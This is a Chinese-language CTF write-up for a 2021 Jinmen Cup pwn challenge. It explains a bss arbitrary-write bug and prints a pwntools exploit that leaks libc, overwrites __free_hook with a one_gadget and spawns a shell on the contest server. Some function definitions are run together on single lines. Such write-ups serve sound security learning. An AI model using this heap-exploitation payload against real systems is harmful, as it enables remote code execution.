本文主要是介绍津门杯2021CTF pwn解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言:这个题一开始调通了,但是不知道正确的libc版本,远程没有打通,最后听了一下libc版本是11.4的libc2.23版本,才打通,题很多洞,比较经典的是edit的READ容易写。写到freehook为onegadget即可,tcl,只解了一道题,时间原因第二道pwn题也没看,噗。。
漏洞点:
漏洞点这两个地方,他们都是在bss段里,而且位置比较临近可以直接考虑一下任意写,当时没太注意这个点,直接doublefree的,发现只给了4个chunk,所以没能构建出,又审计了一下edit READ发现可以实现任意写,算好偏移即可
1.泄露libc
2.利用edit往freehook进行写即可
exp:
#coding:utf-8
from pwn import *
#p=process('./hello')
p=remote('119.3.81.43', '49153')
context(arch="amd64",os="linux",log_level="debug")
def add(number,name,size,info):p.sendlineafter('>>','1')p.sendlineafter('number:',str(number))p.sendlineafter('name:',name)p.sendlineafter('size:',str(size))p.sendlineafter('info:',info)def delete(idx):p.sendlineafter('>>','2')p.sendlineafter('index:',str(idx))def show(idx):p.sendlineafter('>>','3')p.sendlineafter('index:',str(idx))def edit(idx,number,name,info):p.sendlineafter('>>','4')p.sendlineafter('index:',str(idx))p.sendlineafter('number:',number)p.sendlineafter('name:',name)p.sendlineafter('info:',info)#p=process('./hello')
libc=ELF('/home/roo/桌面/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
add(0,'maxbos0',0x80,'d'*0x48+'\x90'+'\x70')
add(1,'maxbos1',0x48,'dd')
delete(0)
add(2,'maxbos',0x48,'')
edit(2,'-3','dd','')
show(2)
libc_1=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))+22#+0xa0bf+0x1fa8#+0x10bf+20480
print hex(libc_1)
libc_base=libc_1-0x3c4b20
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:rax == NULL0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:[rsp+0x50] == NULL0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL
'''
rce=libc_base+0x4527a
free_hook=libc_base+libc.sym['__free_hook']
print hex(free_hook)
edit(2,'2','a'*13+p64(free_hook),p64(rce))
delete(2)
p.interactive()
总结:本菜鸡最大的缺点还是审计上,老是看到代码出现了好多结构体都懒得看了,哎只能慢慢培养了,还有一点的是,我调试的时候不知道系统关闭了随机化,系统奔了一下,发现libc的基地址不对了,导致我。重新调了一遍,草草草草了!!!!
这篇关于津门杯2021CTF pwn解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!